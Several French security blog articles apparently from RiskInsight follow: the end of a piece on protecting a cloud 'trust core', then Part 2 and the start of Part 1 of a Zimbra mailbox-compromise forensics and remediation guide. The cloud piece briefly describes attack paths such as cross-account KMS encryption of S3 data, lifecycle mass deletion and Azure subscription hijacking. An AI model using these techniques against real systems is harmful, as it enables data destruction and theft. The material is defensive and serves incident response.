Ce scénario illustre l’un des chemins d’attaques qui ont été exploités lors des opérations de redteam, facilité par le manque de visibilité sur les impacts que peuvent avoir une ressource compromise hébergée sur le cloud.

Des impacts plus rapides et plus forts

Les attaques déjà possibles sur un SI on-premise peuvent être reproduites et même accélérées grâce aux fonctionnalités du cloud. Par exemple, le chiffrement de buckets S3 (service de stockage de fichiers) à partir d’une clé KMS (de chiffrement) d’un autre compte AWS imite le chiffrement massif de données, ou l’utilisation de la fonctionnalité « lifecycle » permet une suppression de tous les objets en moins de 24 heures, peu importe la quantité de données.

De nouvelles attaques sont également apparues comme le « Hijack de souscription » qui permet de rattacher un abonnement d’une organisation Azure à une autre et ainsi de voler toutes les données qu’il contient et empêcher les actions de remédiation. Cette attaque est réalisable en quelques clics depuis l’interface web Azure.

Identification et protection du cœur de confiance cloud

Identification du Cœur de confiance

Le cœur de confiance adopte une approche centrée sur la priorisation des actifs, qui diffère du modèle de tiering ou de l’Enterprise Access Model de Microsoft. Contrairement à ces modèles qui proposent un découpage prédéfini, il n’existe pas de grille universelle : chaque organisation doit identifier elle-même quelles ressources méritent le plus haut niveau de protection. L’idée est d’établir un cercle restreint de ressources critiques (qu’elles soient cloud ou on-premise) puis de déployer des niveaux de protection dégressifs à mesure que l’on s’éloigne de ce cœur.

L’identification du cœur de confiance repose sur deux grands critères :

• Criticité métier: ce sont les ressources qui concentrent la valeur et la continuité des activités de l’entreprise. Si elles venaient à être perdues ou compromises, les conséquences seraient immédiates pour le fonctionnement quotidien et financièrement. Un environnement SharePoint contenant la donnée intellectuelle / brevets en est un exemple courant ;
• Criticité SI: il s’agit des ressources qui assurent l’administration du système d’information et qui disposent d’un niveau d’accès élevé. Leur compromission aurait un impact majeur sur l’ensemble du SI et permettrait d’avoir l’impact métier précédemment énoncé. On retrouve ici les contrôleurs de domaine ou encore les services d’IAM Cloud comme Entra ID et AWS Identity Center.

Cette cartographie n’est jamais totalement tranchée. Pour certains éléments, la posture à adopter reste plus floue, deux exemples l’illustrent bien :

• L’EDR: élément de sécurité évident d’un SI, systématiquement déployé tant sur les postes de travail que sur les serveurs cloud et on-premise, sa console d’administration est de plus en plus souvent exposée sur internet, et permet d’exécuter des commandes arbitraires sur les équipements qui en sont équipés.
• Les chaînes CICD: un savant, mais complexe agglomérat d’applications s’appelant entre elles, dont l’accès (le gestionnaire de code : GitLab, GitHub…) est offert à l’ensemble des collaborateurs et les droits sur le SI (manipulé par les runners de déploiement) sont bien souvent administrateur de l’ensemble des infrastructures cloud. Sur l’ensemble des Red Team effectués en 2024 & 2025, 80% ont exploité des vulnérabilités associées à ses solutions pour progresser dans leur opération, voire obtenir des trophées de compromission par ce biais.

Afin d’identifier le « noyau dur » du cœur de confiance, qu’on appellera socle de sécurité, on peut reprendre les préceptes de l’ancien T0 : la compromission d’un de ses éléments entrainerait probablement celles des autres, et par cascade de la majeure partie du SI.

En supposant que vos applications appliquent un correct cloisonnement interutilisateur (l’intégralité de vos sites SharePoint n’est pas accessible par tous, n’est-ce pas ?), les références aux prochaines applications seront à comprendre comme des accès administrateurs / super-utilisateurs à ces dernières, et non simple utilisateur.

Voici l’une des représentations possibles pour un cœur de confiance hybride :

Dans cette représentation, il y a côté on-premise :

• Le T0 avec ses contrôleurs de domaine, l’ADCS, et potentiellement la PKI, le bastion, la console EDR…
• Le T1 en intégrant en plus les applications métiers à fort impact.

Et côté Cloud, on retrouve :

• Au cœur le Control Plane (AWS Orga & Identity Center, Entra ID) ainsi que les modules de la Landing Zone supportant le T0 (si une partie du T0 est hébergée dans le Cloud) ;
• En s’éloignant, les diverses consoles d’administration des suites de bureautique, et de management des infrastructures ou des applications.

En établissant ce diagramme, il est important de garder à l’esprit que :

• L’IT sert au métier et quand bien même la zone centrale du cœur de confiance est principalement occupée par des briques techniques, il convient d’inscrire ses solutions critiques ;
• Les chaînes de dépendance / compromission ont beaucoup d’impact sur les choix d’architecture: positionner un AD sur AWS, ou déployer un EDR sur un AD peut soudainement créer de nombreux chemins de compromission et de rebond entre les 2 mondes.

Enfin, la construction d’un cœur de confiance ne peut pas se limiter à une logique de classification statique. Elle doit reposer sur une approche qui évalue la criticité de chaque actif et le risque qu’il introduit (une entreprise de développement de logiciel ne positionnera surement son Git au même niveau qu’une entreprise de travaux public).

Protection du cœur de confiance cloud

La sécurité du cœur de confiance va reposer sur les deux traditionnels facteurs de risques :

• Réduire l’impact: comment empêcher un utilisateur compromis ou malveillant de se connecter aux portails cloud sur un navigateur et de faire des actions sensibles en quelques clics, comme faire une sauvegarde d’un contrôleur de domaine hébergé sur une VM ou supprimer les sauvegardes de données de production ?
• Réduire la probabilité : comment réduire les risques d’accès illégitimes à partir d’un cookie de session volé par phishing, de la compromission d’un poste de travail ou de la réutilisation de mots de passe des utilisateurs ?

Protection du socle de sécurité cloud

Concernant le « socle de sécurité » cloud il est possible de hiérarchiser les environnements par criticité selon cette échelle macroscopique :

En fonction des équipes en charge et de la complexité de les inclure dans un niveau de protection particulièrement élevée, certaines organisations font le choix d’exclure des environnements dont la compromission ne permettrait pas une latéralisation dangereuse, telle que ceux de FinOps, de détection, le Digital Workplace…

La sécurisation du socle de sécurité cloud repose sur 2 principaux points :

• Une hygiène impeccable : configuration IAM épurée, respect du moindre privilège, procédure de déploiement, limitation des ressources au strict nécessaire…
• Une couche de sécurité passive / active : déploiement de politiques (SCP sur AWS, Policy sur Azure) interdisant explicitement certaines actions, ou la manipulation de certaines ressources, et règles de détection afin de lever une alerte en cas de modification d’une politique ou l’occurrence d’un de ses évènements protégés ;

Ces politiques peuvent efficacement être associées à une stratégie de tagging afin d’appliquer, en plus du modèle RBAC (Role Based Access Control) un modèle ABAC (Attribute Based Access Control).

Par exemple il est possible de tagger différentes ressources avec une clé « tiering » et une valeur entre « T0 », « T1 », « T2 » puis de déployer cet ensemble de stratégies :

• Interdire toute action visant une ressource taguée tiering par une identité dont la valeur de son propre tag tiering n’est pas équivalente ;
• Interdire la manipulation de tag tiering, sauf pour un rôle bien précis.

Et voilà comment, en quelques tags et 2 SCP, il est possible de répliquer le tiering model de Microsoft (quelques exceptions peuvent subvenir).

Protections des identités et des accès

Pour protéger les utilisateurs, 3 thématiques de durcissement peuvent être mises en place :

• Identité : avec quel compte l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? Comment les droits sont-ils obtenus ?
• MFA : l’identité est-elle protégée avec une authentification multifactorielle résistante aux attaques de phishing ?
• Provenance: à partir de quelle plateforme l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? La plateforme est-elle managée, et saine ?

Plusieurs niveaux de protection sont envisageables afin de protéger les administrateurs cloud :

Afin de protéger le cœur de confiance restreint, représenté par les triples cadenas, il est recommandé de mettre en œuvre les facteurs d’authentification les plus robustes. Cela inclut l’utilisation d’un compte dédié à l’administration cloud, l’activation d’une authentification multifactorielle physique (exemple : clé de sécurité FIDO2) et le recours à un poste de travail spécifiquement réservé aux opérations sur ce cœur de confiance.

Pour les ressources plus éloignées du centre du cœur de confiance, symbolisées par les doubles cadenas, un niveau de sécurité durci, mais proportionné peut être appliqué, afin de renforcer la protection pour maitriser les coûts et réduire les contraintes excessives aux utilisateurs concernés.

Finalement, les méthodes les plus sécurisées sont également celles qui impliquent le plus de contraintes aux personnes concernées. Il faut maitriser les usages et prendre en compte des situations d’urgence, comme une intervention en astreinte nécessitant des privilèges très élevés.

Répéter les opérations

À l’issue des phases d’identification et de protection, les ressources seront réparties dans les différentes couches du cœur de confiance.

Pour vérifier la bonne implémentation du cœur de confiance, un audit peut être conduit pour vérifier la bonne protection des ressources critiques qui le compose.

Un système d’information est toujours en évolution, mais les deux premières phases auront été faites à un instant t. De nouvelles ressources critiques peuvent être ajoutées, d’autres modifiées, voire supprimées. Il est primordial de refaire une évaluation régulière de son SI et de mettre à jour la répartition des ressources dans le cœur de confiance.

En conclusion, la sécurité des systèmes d’information s’inscrit désormais dans un contexte de complexité croissante et de forte diversification des composants et services d’infrastructures.

Dans ce contexte, il apparaît de plus en plus complexe de définir un modèle de sécurité universel. Certains cadres conservent toute leur pertinence sur des périmètres bien identifiés : le tiering reste une référence pour la sécurisation de l’Active Directory, tout comme l’EAM pour des environnements Cloud fortement centrés sur l’écosystème Microsoft. Néanmoins, ces modèles atteignent rapidement leurs limites dès lors que l’on s’éloigne de ces cas d’usage spécifiques.

Pour la majorité des systèmes d’information, une approche fondée sur l’analyse des risques s’impose donc comme la plus pertinente. Identifier un cœur de confiance, définir clairement les actifs critiques — les crown jewels — et décliner les mesures de sécurité à partir de ces éléments permet de construire une posture de sécurité plus pragmatique, adaptée à la réalité du SI et capable d’évoluer avec lui.

Cette logique, moins normative mais plus contextualisée, constitue sans doute l’un des leviers majeurs pour concilier sécurité, agilité et pérennité des systèmes d’information.

Cet article Sécurité orientée cloud : Adaptation à une nouvelle réalité est apparu en premier sur RiskInsight.

Dans cette nouvelle partie, nous partirons du principe qu’un attaquant est parvenu à compromettre un compte Zimbra et que nous avons déjà identifié son point d’entrée (accès initial). Nous allons désormais analyser comment exploiter les journaux Zimbra pour identifier les actions malveillantes que l’attaquant aurait pu réaliser à partir de ses accès. Nous verrons ensuite quelles mesures de remédiation mettre en place pour prévenir ce type d’incident et y répondre efficacement.

Installez-vous confortablement (et assurez-vous que votre café est encore chaud) : entrons sans plus attendre dans le vif du sujet !

Investiguer dans un environnement Zimbra

Maintenant que l’infrastructure et les journaux Zimbra n’ont plus de secrets pour vous, c’est le moment de passer au concret.

Imaginez que vous êtes un analyste forensique, arrivé en avance de bon matin, quand soudain : le téléphone sonne. On vous appelle car plusieurs utilisateurs signalent que des courriels qu’ils n’auraient pas envoyés apparaissent dans leur dossier «Envoyés».

C’est la panique générale !  Les utilisateurs n’osent plus se connecter à leur boîte mail et certains administrateurs commencent à se demander si l’infrastructure Zimbra elle-même ne serait pas compromise.

Puisque vous maîtrisez Zimbra comme personne, c’est naturellement vers vous que l’équipe se tourne pour élucider cet incident !

En tant qu’analyste forensique, beaucoup de questions vous viennent à l’esprit :

• Est-ce que les comptes ont réellement été compromis ? Si oui, comment et depuis quand ?
• Combien d’utilisateurs sont affectés ?
• Quel est l’objectif de l’attaquant et quelles actions malveillantes ont été menées depuis ces comptes ?
• Le serveur de messagerie ou d’autres composants Zimbra ont-ils été compromis ?
• Et, surtout : ai-je le temps de prendre un café avant que la chasse aux informations ne commence ?

Afin de vous aider dans vos investigations, nous allons voir ensemble comment apporter des éléments de réponses via l’analyse des journaux Zimbra. Mais avant cela, voici un ensemble de conseils pour vous aider dans vos investigations

Lors d’une réponse à incidents, il est facile de se sentir submergé par la quantité de journaux et d’événements à analyser. Il est donc important de garder un fil conducteur. Quelques réflexes simples permettent de ne pas perdre le cap :

• Confirmer : Vérifier les informations ayant mené à l’incident. Avant d’avancer dans les investigations, il faut s’assurer de la véracité de l’élément déclencheur. Cette base indéniable servira de pilier pour l’ensemble de l’investigation.
• Corréler : recouper les adresses IP et domaines suspectes avec d’autres sources (proxy, VPN, EDR, bases antivirales en ligne). Cela permet d’obtenir des informations complémentaires en relation avec l’indicateur identifié.
• Pivoter : exploiter les informations collectées pour élargir l’analyse. Un attaquant peut par exemple réutiliser la même adresse IP ou le même user-agent pour cibler plusieurs comptes. À l’inverse, un compte compromis peut être utilisé depuis des adresses IP ou des user-agents différents. Pivoter permet de révéler d’autres indicateurs permettant d’identifier l’attaquant.
• Comparer les motifs : même sans accéder directement au contenu des courriels ou des pièces jointes, certains éléments peuvent révéler des similitudes (taille, nom de fichier identique, séquence d’actions répétée après la compromission d’un compte). Cette approche d’analyse comportementale peut aider à identifier plusieurs utilisateurs compromis par un même attaquant. Ces hypothèses doivent être formulées et manipulées avec prudence mais elles peuvent s’avérer intéressantes pour confirmer une intuition.
• Assurer la conservation des journaux : Cela peut sembler évident, mais dès la détection de l’incident, il est important de sécuriser la conservation des journaux. Cela passe par la collecte immédiate des logs sur l’ensemble de l’infrastructure Zimbra mais aussi par l’allongement de la période rétention pour éviter toute suppression automatique. Car soyons honnêtes : les logs qui disparaissent pile au moment où l’équipe forensique arrive, c’est malheureusement un grand classique… et une mésaventure dont vous vous passerez bien.

Même si ces conseils ne sont pas exhaustifs, ils offrent une bonne base pour réaliser une analyse à la fois rapide et complète.

Activité post compromission

Analyse des actions utilisateur

Quelle maîtrise ! Vous avez réussi à remonter jusqu’au point d’entrée initial emprunté par l’attaquant pour compromettre les comptes utilisateurs. Vous avez identifié les adresses IP malveillantes, repéré l’User-Agent utilisé, et même débusqué d’autres comptes compromis grâce à ces informations. Bref, du travail propre et efficace. Impressionnant !

Mais…. nous n’avons pas encore répondu une question cruciale : « Quel était l’objectif de l’attaquant et quelles actions a-t-il menées depuis les comptes compromis ? »

Pour le découvrir, il va maintenant falloir analyser l’activité de l’attaquant à l’intérieur de l’infrastructure Zimbra. Une fois authentifié, un attaquant peut en effet :

• Lancer une campagne de phishing interne ou externe
• Envoyer des messages visant à pousser un collègue, partenaire ou client à l’action (fraude au président, demande urgente fictive, etc.)
• Exfiltrer des données sensibles depuis les boîtes mail

Dans cette section, nous examinerons quelques exemples d’activités suspectes qui peuvent être identifiées à partir des journaux Zimbra.

Envoi d’un grand nombre de courriels sur une courte période

Vous souhaitez déterminer si des comptes compromis ont été utilisés pour mener d’autres tentatives de phishing en envoyant des e-mails en masse à des destinataires internes ou externes. Malheureusement, Zimbra ne propose pas d’événement natif vous permettant de récupérer directement cette information. Cependant, une petite commande grep vous permettra de parvenir à vos fins.

La commande ci-dessous permet d’extraire le nombre de messages envoyés par chaque utilisateur sur une période précise (ici du 21 au 27 novembre 2025) :

Dans cet exemple, user25@wavestone.corp se démarque clairement avec un volume d’envoi largement supérieur à la normale. Un volume anormalement élevé de courriels émis par une boîte aux lettres sur une période courte constitue une activité suspecte.

Dans un usage légitime, les envois massifs de courriels restent relativement rares et sont généralement associés à des adresses génériques ou à des systèmes de communication interne (ex. newsletters, annonces RH). Lorsqu’un compte utilisateur classique présente ce type de comportement, il est important :

• D’identifier si c’est une activité normale et récurrente de l’utilisateur
• De vérifier la plage horaire, l’adresse IP et l’user-agent d’émission
• De vérifier si des pièces jointes suspectes ont été associées aux envois

Un envoi massif de courriels peut entraîner le déclenchement de mécanismes de protection intégrés à Zimbra, notamment les règles de quota. Ces seuils ont pour but de limiter le volume de messages émis par un compte sur une période donnée afin de prévenir l’abus, le spam ou les campagnes de phishing.

Les deux commandes ci-dessous vous permettent de récupérer les événements liés aux dépassements de quota :

L’apparition de messages d’erreur liés au dépassement de quota constitue un signal à ne pas ignorer, car :

• Soit l’utilisateur légitime a dépassé accidentellement un quota
• Soit le compte est utilisé de manière frauduleuse pour effectuer des envois massifs

Cet indicateur pouvant générer un grand nombre de faux positifs, il est recommandé de le corréler avec d’autres éléments afin d’en tirer des conclusions.

Envoi d’un courriel à un grand nombre de destinataires

Pour éviter de déclencher une alerte de dépassement de quota, un attaquant averti peut adopter une stratégie plus « subtile ». Plutôt que d’envoyer des dizaines de courriels individuels (méthode bruyante), il peut choisir d’envoyer un unique message adressé à une longue liste de destinataires. Une manière d’optimiser son phishing.

Heureusement pour vous, les journaux Zimbra permettent d’identifier le nombre de destinataires associés à chaque envoi, ce qui rend ce type de manœuvre détectable sans trop d’efforts.

Les commandes ci-dessous permettent d’identifier les e-mails envoyés à un grand nombre de destinataires :

Ici vous pouvez observer que l’utilisateur user25@wavestone.corp a envoyé un mail à 211 destinataires. Ce type de comportement est plutôt suspect.

En pratique, il est rare qu’une adresse électronique personnelle envoie des messages à plusieurs dizaines de destinataires simultanément. Ce comportement est davantage associé à des boîtes aux lettres partagées ou les adresses génériques (ex. communication interne, service RH, annonces institutionnelles). Lorsqu’un compte utilisateur classique présente ce type de comportement, il est important :

• D’identifier les pratiques de communication habituelles dans l’organisation
• D’identifier si c’est une activité normale et récurrente de l’utilisateur 
• De vérifier la plage horaire, l’adresse IP et l’user-agent d’émission
• De vérifier si des pièces jointes suspectes ont été associées aux envois

Afin de gagner du temps, il est également possible de valider directement auprès de l’utilisateur si l’envoi du courriel était légitime.

L’exemple présenté ici permet d’identifier les mails comptant plus de 100 destinataires. Toutefois, selon ce que vous considérez comme un volume légitime et en fonction de la période couverte par les journaux analysés, ce seuil doit être adapté au contexte de votre recherche.

Téléversement de pièces jointes suspectes

Contrairement à la réception, le téléversement de pièces jointes suspectes et mieux journalisé par Zimbra. Chaque fois qu’un utilisateur joint un fichier à un nouveau courriel, Zimbra note soigneusement l’opération dans ses journaux.

Grâce aux commandes ci-dessous, vous pouvez retrouver les pièces jointes attachées aux courriels par un éventuel utilisateur compromis :

De la même manière que pour la réception de pièces jointes malveillantes, vous pourrez notamment rechercher dans les journaux :

• le téléversement de pièces jointes aux extensions suspectes (ex. .htm, .html, .exe, .js, .arj, .iso, .bat, .ps1, ou encore des documents Office/PDF contenant des macros)
• les fichiers déjà observés en amont lors des premières phases de l’incident (par exemple un document téléchargé par le patient zéro)
• à corréler les activités de téléversement avec les adresses IP sources malveillantes ou les comptes identifiés comme compromis.

Cette liste n’étant pas exhaustive, il peut être pertinent de rechercher tout type de fichier qui vous semble adapté au contexte de votre investigation.

Suppression des traces

A présent que vous avez une bonne image de ce que l’attaquant a fait avec les comptes compromis. Vous êtes déçus car vous n’arrivez pas à retrouver les mails en question. Vous suspectez que l’attaquant a effacé ses traces. Mais comment le vérifier ?

En effet après avoir envoyés des mails malveillant un attaquant averti peut tenter de dissimuler les traces auprès de l’utilisateur légitime de la boîte mail en supprimant les mails envoyés ou reçus en retour.

Heureusement ces commandes permettront d’identifier les suppressions de mails effectuées dans Zimbra :

Dans un usage légitime, il n’est pas rare qu’un utilisateur supprime plusieurs courriels (ex. nettoyage de boîte de réception, gestion de newsletters). Cependant, la situation devient anormale lorsque la suppression intervient :

• Immédiatement après un envoi massif de mails
• Qu’elle cible spécifiquement les derniers messages envoyés

Dans votre investigation, il faut garder en tête qu’un attaquant pourra également chercher à supprimer :

• Les accusés de réception générés par ses envois
• Les réponses automatiques (out-of-office, NDR) qui pourraient alerter la victime

Il est donc important de ne pas négliger les suppressions et de le corréler avec d’autres indicateurs (authentifications suspectes, envoi massif, dépassement de quota, connexions depuis des IP malveillante) afin d’évaluer la légitimité de ces dernières.

Exfiltration de données

Une question vous taraude encore… parmi les comptes compromis, certains appartenaient à des utilisateurs manipulant des données sensibles pour l’entreprise. Vous souhaitez donc déterminer si l’attaquant a tenté d’exfiltrer certains messages auxquels il a eu accès.

Malheureusement pour vous, Zimbra ne journalise pas le téléchargement direct des mails. Après tout, la récupération via IMAP ou SMTP, consiste en réalité à un “téléchargement” du serveur vers le client mail. Il est donc difficile différencier un tranfert classique d’un téléchargement. Et du côté des logs Nginx (qui exposent le Webmail), même constat, impossible d’identifier précisément qu’un mail a été téléchargé.

En guise de maigre compensation, Zimbra journalise certaines opérations internes, notamment les actions de copie réalisées dans la boîte mail. Un attaquant pourrait, par exemple, créer un dossier pour stocker des mails sensibles avant extraction.

La commande suivante permet notamment de repérer une copie massive de messages dans un dossier (ici nommé « Exfiltration ») depuis le client Web :

La commande suivante permet notamment de repérer une copie massive de messages dans un dossier depuis un client lourd IMAP :

Bien qu’il existe des cas légitimes (ex : sauvegarde manuelle par l’utilisateur), ce type d’activité doit attirer l’attention, surtout lorsqu’il est corrélé avec :

• Des connexions depuis des adresses IP inhabituelles
• Des authentifications suspectes
• Des envois massifs de mails

Mais comme vous pouvez le constater, il est très difficile d’infirmer une exfiltration. Il faut donc considérer que, si une boîte est compromise, l’attaquant a potentiellement eu la possibilité de télécharger l’ensemble des courriels de l’utilisateur concerné.

Détection des solutions antivirus et antispam

On ne l’a pas trop abordé jusqu’à maintenant, mais il faut savoir que Zimbra intègre nativement Amavis, un composant « central » qui orchestre différents moteurs de sécurité. Ces moteurs permettent d’identifier des fichiers suspects, des campagnes de phishing ou encore des envois massifs de spam. Il est donc intéressant d’exploiter ces mécanismes de détection dans le cadre de l’analyse des activités d’un attaquant.

Durant vos investigations, l’examen des messages générés par Amavis permet notamment de mettre en évidence :

• Les messages bloqués avant qu’ils n’atteignent la boîte aux lettres de l’utilisateur (ex. tentatives de spoofing)
• Les pièces jointes malveillantes détectées et placées en quarantaine,
• Le non-respect de certaines politiques de sécurité définies sur la plateforme.

Amavis

Il est possible de récupérer certains événements générés par Amavis avec les commandes suivantes :

Les événements générés par Amavis étant nombreux, il peut être judicieux de concentrer vos recherches sur les détections liées au spam et au phishing. À noter que l’identification des messages de phishing a déjà été abordée dans une section précédente de cet article (« Compromission du compte par attaque de phishing »).

Spams entrants

Il peut être pertinent d’identifier les messages ayant généré des détections de spams entrants. Lorsqu’un message est classé comme spam, Zimbra génère des traces qui indiquent la raison de cette catégorisation.

Ces événements peuvent contenir plusieurs informations intéressantes :

• Le compte concerné,
• L’identifiant unique du message dans la boîte aux lettres,
• L’adresse IP d’origine du mail,
• Additionnellement dans le cas d’un SpamReport :
  • Le résultat de l’analyse (champ isSpam),
  • L’action appliquée (par exemple : déplacement du dossier Inbox vers Junk),
  • Et parfois le destinataire du rapport utilisé pour l’apprentissage ou le signalement (par ex. une adresse dédiée spam@wavestone.corp).

La commande suivante peut vous aider à identifier les événements liés au traitement des spams entrants :

Les détections de spam générant de nombreux faux positifs, il peut être pertinent de réduire au maximum le périmètre de recherche (par exemple en ciblant une période précise ou un ensemble d’utilisateurs spécifiques).

Spams sortants

Le mal ne vient pas toujours de l’extérieur. Certains mails malveillants envoyés depuis des comptes internes compromis vers des destinataires externes peuvent laisser des traces très intéressantes dans les journaux Zimbra. En effet, si le message envoyé par le compte compromis est bloqué par la solution antispam du serveur mail destinataire, ce dernier renverra une notification d’erreur au serveur Zimbra pour signaler le refus.

Analyser ces messages de non-livraison (NDR) peut alors vous mettre la puce à l’oreille :
cela peut révéler qu’un utilisateur est compromis… ou qu’un compte a été utilisé pour tenter d’envoyer des courriels malveillants.

Il est possible d’extraire ces rejets de mails grâce à la commande suivante :

Les spams sortants sont généralement peu nombreux. Toutefois, leur analyse ne devient réellement utile qu’en cas de tentative de latéralisation de l’attaquant vers des comptes mail externes.

Mesures de remédiations

Vous avez mené votre investigation tambour battant : utilisateurs compromis identifiés, adresses IP malveillantes répertoriées, activités suspectes décortiquées… bref, vous avez déroulé le fil de l’attaque avec une précision chirurgicale. Il est maintenant temps de passer à l’étape suivante : la remédiation. 

Celle-ci vise avant tout à supprimer les accès de l’attaquant à l’infrastructure, à mettre en place des mécanismes de détection capables de prévenir de nouvelles tentatives de compromission et à renforcer la sensibilisation des utilisateurs afin de limiter l’impact des campagnes de phishing en cours et à venir.

Via la collecte les différents indicateurs liés à la campagne de phishing (comptes compromis ou suspectés de l’être, adresses e-mail, adresses IP et domaines malveillants, etc.), il est recommandé de mettre en œuvre une série d’actions correctives et préventives (non exhaustives): 

• Réinitialiser les mots de passe des comptes suspects : Pour tout utilisateur compromis ou suspecté de l’avoir été, une réinitialisation du mot de passe est nécessaire.
• Bloquer les domaines, adresses IP et adresses électroniques malveillantes : Les éléments d’infrastructure utilisés par l’attaquant (domaines, IPs, expéditeurs) doivent être bloqués via les solutions réseaux disponibles (proxy, pare-feu, filtres mail) dès leur détection. Cela limitera les risques de propagation.
• Effectuer un scan antivirus/EDR sur les postes des utilisateurs compromis : Les postes de travail des utilisateurs compromis doivent faire l’objet d’une analyse antivirus ou EDR afin de :
  • Détecter et supprimer tout fichier malveillant éventuel
  • Vérifier que les fichiers liés au phishing ne sont plus présents sur le poste
• Renforcer la sensibilisation des utilisateurs : Une communication sur les campagnes de phishing en cours doit être adressée aux utilisateurs afin de prévenir de nouvelles compromissions. Des campagnes régulières de sensibilisation au phishing sont fortement conseillées, en particulier à destination des utilisateurs ayant été compromis.
• Mettre en place l’authentification multifacteur (MFA) pour l’accès aux mails Zimbra : La mise en œuvre d’un second facteur d’authentification est fortement recommandée pour sécuriser l’accès aux boîtes mail. Une telle mesure peut être perçu comme contraignant, l’usage d’un SSO (Single Sign-On) avec MFA unique permet de limiter cette friction tout en renforçant la sécurité globale des authentifications.
• Déployer une solution spécialisée de filtrage et de détection de phishing : il est recommandé de mettre en place une solution spécialisée dans la détection d’activités malveillantes dans les environnements de messagerie. La solution mise en place doit permettre d’identifier :
  • Les connexions depuis des IPs inhabituelles
  • Les tentatives de bruteforce sur les comptes utilisateurs
  • L’envoi massif de mails à de nombreux destinataires
  • L’usage de pièces jointes ou de liens suspects vers des domaines non fiables
  • Les campagnes de phishing actives (identifiées par un service CTI par exemple)

• Assurer la conservation des journaux Zimbra : Il est important de sécuriser la collecte et la conservation des journaux. Pour cela, il est recommandé de centraliser les logs de l’ensemble de l’infrastructure Zimbra sur un serveur externe à cette infrastructure. Cette approche garantit que, même en cas de compromission, de modification ou de chiffrement des serveurs Zimbra, les journaux restent intacts et consultables, permettant ainsi de mener des investigations forensiques fiables.

Bien que non exhaustives, ces mesures de remédiation vous permettront de restaurer la confiance dans votre infrastructure Zimbra et dans les comptes utilisateurs. Il sera toutefois nécessaire de maintenir un effort continu de surveillance et d’amélioration de la posture de sécurité afin de s’adapter aux menaces futures.

Au terme de cette petite enquête, une chose est sûre : si l’attaquant lui peut faire le choix de la facilité, l’analyste forensique, lui, n’a pas cette chance. Entre les journaux éparpillés (ou parfois manquants), les témoignages discordants des utilisateurs ou encore le manque de visibilité sur certains événements Zimbra : mener l’investigation revient parfois à résoudre un Rubik’s Cube… dans le noir… avec des moufles.

Mais avec une bonne méthodologie et quelques réflexes, Zimbra vous révèlera bien plus d’informations qu’on ne pourrait le croire au premier abord. Ses journaux constituent une véritable mine d’or, à condition de ne pas s’y perdre.

In fine, cet article n’a pas la prétention de transformer chaque lecteur en maître Jedi du forensique Zimbra… mais s’il peut vous éviter de passer deux jours à tenter de décoder les journaux Zimbra ou à chercher où dénicher la bonne information, alors l’objectif est atteint !

Et comme on le dit assez souvent, dans la cybersécurité comme ailleurs, mieux vaut prévenir que guérir. Alors durcissez votre infrastructure Zimbra, sauvegardez vos journaux, sensibilisez vos utilisateurs… et surtout, ne négligez pas la réserve de café !

Références

• https://wiki.zimbra.com/wiki/Log_Files
• https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview
• https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes

Cet article Compromission de boîte mail Zimbra : de l’analyse à la remédiation (Partie 2) est apparu en premier sur RiskInsight.

Dans la majorité des entreprises, les portails d’accès aux messageries sont exposés sur internet et ne bénéficient pas toujours de mécanismes de contrôle d’accès suffisants. De plus, certains services de messagerie proposent des fonctionnalités étendues dépassant la simple consultation des courriels, telles que le partage de fichiers ou l’accès à des applications collaboratives.

Les services de messagerie peu sécurisés représentent donc une cible de premier choix pour les attaquants. En effet, la compromission d’une boîte mail permet par la suite de lancer des campagnes de phishing, d’accéder à des données sensibles, de réaliser des actions de fraude ou encore d’obtenir l’accès à d’autres services.

Au CERT-W, nous intervenons régulièrement sur ce type de compromissions. En particulier, plusieurs de nos investigations en 2025 ont impliqué la compromission de comptes de messagerie Zimbra, une solution utilisée dans de nombreuses organisations publiques et privées. Face à ces incidents, nous nous sommes aperçus d’un manque criant de documentation forensique spécifique aux infrastructures Zimbra.

Cet article est donc notre humble contribution visant à combler ce vide. Nous y partageons une approche pragmatique et quelques astuces pour gagner du temps dans vos analyses sur ce type d’environnement, ainsi que quelques actions de remédiation.

L’infrastructure Zimbra

Si vous n’êtes pas encore familier avec les infrastructures Zimbra, pas de panique : cette section est là pour vous ! Pour les plus initiés, vous pouvez directement filer à la section investigation (on ne vous en voudra pas).

L’architecture

Zimbra, ce n’est pas juste « un serveur mail de plus ». C’est toute une suite collaborative open source assez complète, qui réunit plusieurs briques bien pratiques :

• Un serveur de messagerie : le cœur du système.
• Un gestionnaire de calendriers, contacts et tâches : pour ne jamais oublier la réunion de 9h.
• Un client web : accessible depuis n’importe quel navigateur.
• Des services complémentaires : antispam, antivirus, synchronisation mobile, etc.

Mais comme toute infrastructure utilisée par des centaines (voire des milliers) d’utilisateurs en simultané, le dimensionnement et la performance deviennent vite des sujets importants. C’est pourquoi Zimbra peut être déployé de deux façons :

• En mode monolithique : tout sur un seul serveur (simple, efficace… jusqu’à un certain point).
• En mode distribué : plusieurs serveurs, chacun avec un rôle précis, pour mieux gérer la charge, la disponibilité et la maintenance.

Schématiquement, une infrastructure Zimbra distribuée ressemble à ceci :

Bien que l’architecture puisse varier, on retrouve généralement les composants suivants :

• Serveur Proxy : il constitue le point d’entrée pour les clients Web, IMAP/POP et ActiveSync. Les journaux générés à ce niveau fournissent une visibilité sur les connexions utilisateurs (adresses IP, user agent, dates, etc.).
• Serveur Web Client (Mailboxd UI) : il héberge l’interface Webmail utilisée par les utilisateurs pour accéder à leur messagerie via un navigateur.
• Serveur de messagerie (Mailboxd) : il héberge les boîtes aux lettres des utilisateurs et assurent la gestion des messages, dossiers et calendriers. Ce composant génère les journaux les plus riches (par ex. mailbox.log, audit.log, sync.log).
• Serveur MTA (Message Transfer Agent): il reçoit les courriels via SMTP et acheminent les messages, à l’aide du protocole LMTP (Local Mail Transfer Protocol) vers le serveur de messagerie Zimbra approprié.
  Le rôle du MTA Zimbra repose sur plusieurs services complémentaires :
  • Postfix MTA : routage, relais et filtrage des messages (y compris des pièces jointes).
  • ClamAV : moteur antivirus chargé d’analyser les messages et leurs pièces jointes.
  • SpamAssassin et DSPAM : filtres de spam exploitant divers mécanismes pour identifier les courriels indésirables.
  • Amavis : orchestrateur qui exécute les moteurs antivirus et antispam configurés, puis applique les politiques de traitement sur les messages entrants.

